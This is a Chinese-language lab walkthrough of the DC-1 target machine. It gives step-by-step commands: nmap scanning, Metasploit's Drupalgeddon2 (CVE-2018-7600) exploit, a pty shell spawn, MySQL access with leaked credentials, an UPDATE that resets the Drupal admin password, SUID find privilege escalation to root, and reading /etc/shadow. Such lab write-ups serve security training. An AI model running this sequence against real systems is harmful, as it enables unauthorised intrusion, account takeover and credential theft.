一.信息收集
1.查询网卡IP,找到本机IP
ip a
2.扫描网段存活主机,找 DC-1 靶机 IP
nmap -sn 192.168.37.130/24
3.nmap 连接端口,发送探测报文,根据返回 banner 识别服务版本
nmap -sV 192.168.37.132
4.浏览器直接访问靶机 80 端口 Web 服务
浏览器访问http://192.168.37.132
终端启动msf,用来调用 Drupal7 的 CVE-2018-7600 漏洞
msfconsole
检索关键词,筛选所有和 Drupal CMS 相关的 EXP
search drupal
二.漏洞利用
1.加载上一步 search 结果里序号为 1 的drupal_drupalgeddon2漏洞模块。
use 1
2.执行show options查看 Drupalgeddon2 模块参数
show options
告诉 Drupalgeddon2 漏洞模块,要攻击的主机是192.168.37.132
执行当前漏洞模块,开始漏洞利用
run
得到meterpreter会话
3.提升交互
切换到靶机的Linux终端,输入python命令
python -c 'import pty;pty.spawn("/bin/bash")'
执行ls列出当前目录文件,发现flag1.txt
查询 Drupal 配置文件位置
进入 Drupal 配置文件目录
cd sites/default
从 settings.php 中读取到数据库信息,同时找到flag2 提示
4.数据库渗透
尝试登陆mysql
mysql -u dbuser -pR0ck3t
切换到drupaldb数据库
use drupaldb
列出 drupaldb 里所有数据表,找到users用户表
列出当前数据库内所有数据表
查询 users 表,获取网站用户名以及对应的 Drupal 加密密码哈希
select * from users;
uid=1:admin 管理员账号,pass字段是 Drupal 专用加盐密码 hash
uid=2:普通用户 Fred
uid=0:匿名用户,空账号
说明:Drupal7 密码采用 SHA-512 加盐哈希,直接爆破难度较大
解决思路:本地生成新的 Drupal7 密码 hash,使用UPDATE语句替换 admin 记录中的 pass 字段,使用自定义新密码登录网站后台获取 flag。
执行exit退出mysql,进入 scripts 目录,查找 Drupal 密码加密脚本 password-hash.sh
cd /var/www/scripts
从 scripts 目录切换到网站根目录/var/www,准备执行密码哈希生成脚本
cd /var/www
使用 php 运行password-hash.sh脚本,设置自定义明文密码123456,生成对应的 Drupal7 密码哈希
php /var/www/scripts/password-hash.sh 123456
使用数据库账号dbuser登录 MySQL,输入密码R0ck3t,成功进入 MySQL 交互环境,准备执行 SQL 修改 admin 管理员账号密码
mysql -u dbuser -p
将上一步生成的 Drupal7 密码哈希写入 users 表,更新 admin 管理员账户的 pass 字段。返回结果Query OK, 1 row affected,代表成功修改 1 条数据
UPDATE users SET pass='$S$DE1YCWuXhpMx3OaWw3v19d0dCypM0C4Durb4FJ1s0CzEyqtLsBPQ' WHERE name='admin';
登录 Drupal 后台,找到 flag3 页面
访问 flag3 页面,获取提示信息
5.权限提升,查找 SUID 权限文件
find / -perm -u=s -type f 2>/dev/null
利用 SUID 的 find 命令执行命令,获取 root 权限
find . -exec /bin/bash -p \;
root 权限读取 /etc/shadow,获取 flag4
cat /etc/shadow
全局搜索 flag 相关文件,定位最终 flag5
find / -name "*flag*" 2>/dev/null
成功找到最后flag5